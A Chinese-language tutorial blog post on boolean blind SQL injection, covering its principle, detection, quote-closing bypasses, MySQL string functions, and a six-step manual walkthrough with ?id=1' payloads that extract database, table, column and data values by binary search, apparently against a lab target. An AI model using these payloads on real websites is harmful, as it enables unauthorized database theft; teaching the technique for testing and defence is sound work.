布尔盲注:原理、函数、利用过程

举报
黑色地带(崛起) 发表于 2023/02/19 17:30:58 2023/02/19
【摘要】 布尔盲注:原理、函数、利用过程

布尔盲注:原理、函数、利用过程

 目录

 

一、布尔盲注(True/False)

1.1、原理:

1.2、判断:

1.3、绕过:

二、相关函数

2.1、截取函数

2.2、转换函数

2.3、比较函数 

 三、利用流程

四、(手工)利用过程

4.1、第一步:注入点测试

4.2、第二步:猜数据库名长度

 4.3、第三步:猜数据库名(ASCII码)

4.4、第四步:猜表名

4.5、第五步:猜字段名

4.6、第六步:猜数据




一、布尔盲注(True/False)

1.1、原理:

Bool盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。不需要返回结果,仅判断语句是否正常执行


1.2、判断:

Bool盲注中通常会配套使用一些判断真假的语句来进行判定。常用的发现Bool盲注的方法是在输入点后面添加and 1=1和and 1=2(该Payload应在怀疑是整型注入的情况下使用)。

如果题目后端拼接了SQL语句,and 1=1为真时不会影响执行结果,但是and 1=2为假,页面则可能会没有正常的回显。



1.3、绕过:

有时候我们可能会遇到将1=1过滤掉的SQL注入点,这时候我们可以通过修改关键字来绕过过滤,比如将关键字修改为不常见的数值(如1352=1352等)。

在字符串型注入的时候我们还需要绕过单引号,将Payload修改为如下格式'and'1'='1和'or'1'='2来闭合单引号(第一个引号闭合原句中引号,原句中后面的引号拼接到语句中了)





二、相关函数

2.1、截取函数


编辑

 mid(a,b,c)从位置b开始,截取a字符串的c位 regexp正则表达式的用法

ord() 函数返回字符串str的最左面字符的ASCII代码值 



2.2、转换函数


编辑


2.3、比较函数 


编辑




 三、利用流程

第一步:注入点测试

第二步:猜数据库名长度

第三步:猜数据库名(ASCII)

第四步:猜表名

第五步:猜字段名

第六步:猜数据




四、(手工)利用过程

4.1、第一步:注入点测试

 加上单引号,无返回数据

且注释后,有返回数据

所以为单引号闭合,存在SQL注入点

编辑 编辑


?id=1' and 1=1 --+  页面有返回编辑

?id=1' and 1=0 --+ 页面无结果返回

编辑

存在SQL盲注



4.2、第二步:猜数据库名长度

?id=1' and (length(database()))>7--+页面返回有数据

编辑

?id=1' and (length(database()))>8--+页面无结果返回

编辑

 当前数据库名称长度为:8



 4.3、第三步:猜数据库名(ASCII码)

?id=1' and ascii(substr(database(),1,1))>100--+ 页面返回有数据

编辑


?id=1' and ascii(substr(database(),1,1))<150--+ 页面返回有数据

编辑

 二分法,一直从中间分下去,直到确定一个值对应的ascii码

通过这个方法判断出整个数据库名





4.4、第四步:猜表名

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100--+页面返回有数据

编辑

 ?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))<150--+有返回数据

编辑

 采用二分法以此类推得到唯一的值

通过这个方法判断出整个表名





4.5、第五步:猜字段名

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))>50--+   页面返回有数据

编辑

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))<80--+返回有数据

编辑

 采用二分法以此类推得到唯一的值

通过这个方法判断出整个字段名



4.6、第六步:猜数据

?id=1' and (ascii(substr(( select  id users limit 0,1),1,1)))<80--+  页面返回有数据

编辑


?id=1' and (ascii(substr(( select  id users limit 0,1),1,1)))>30--+页面返回有数据

编辑

 采用二分法以此类推得到唯一的值

通过这个方法判断出整个数据



【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。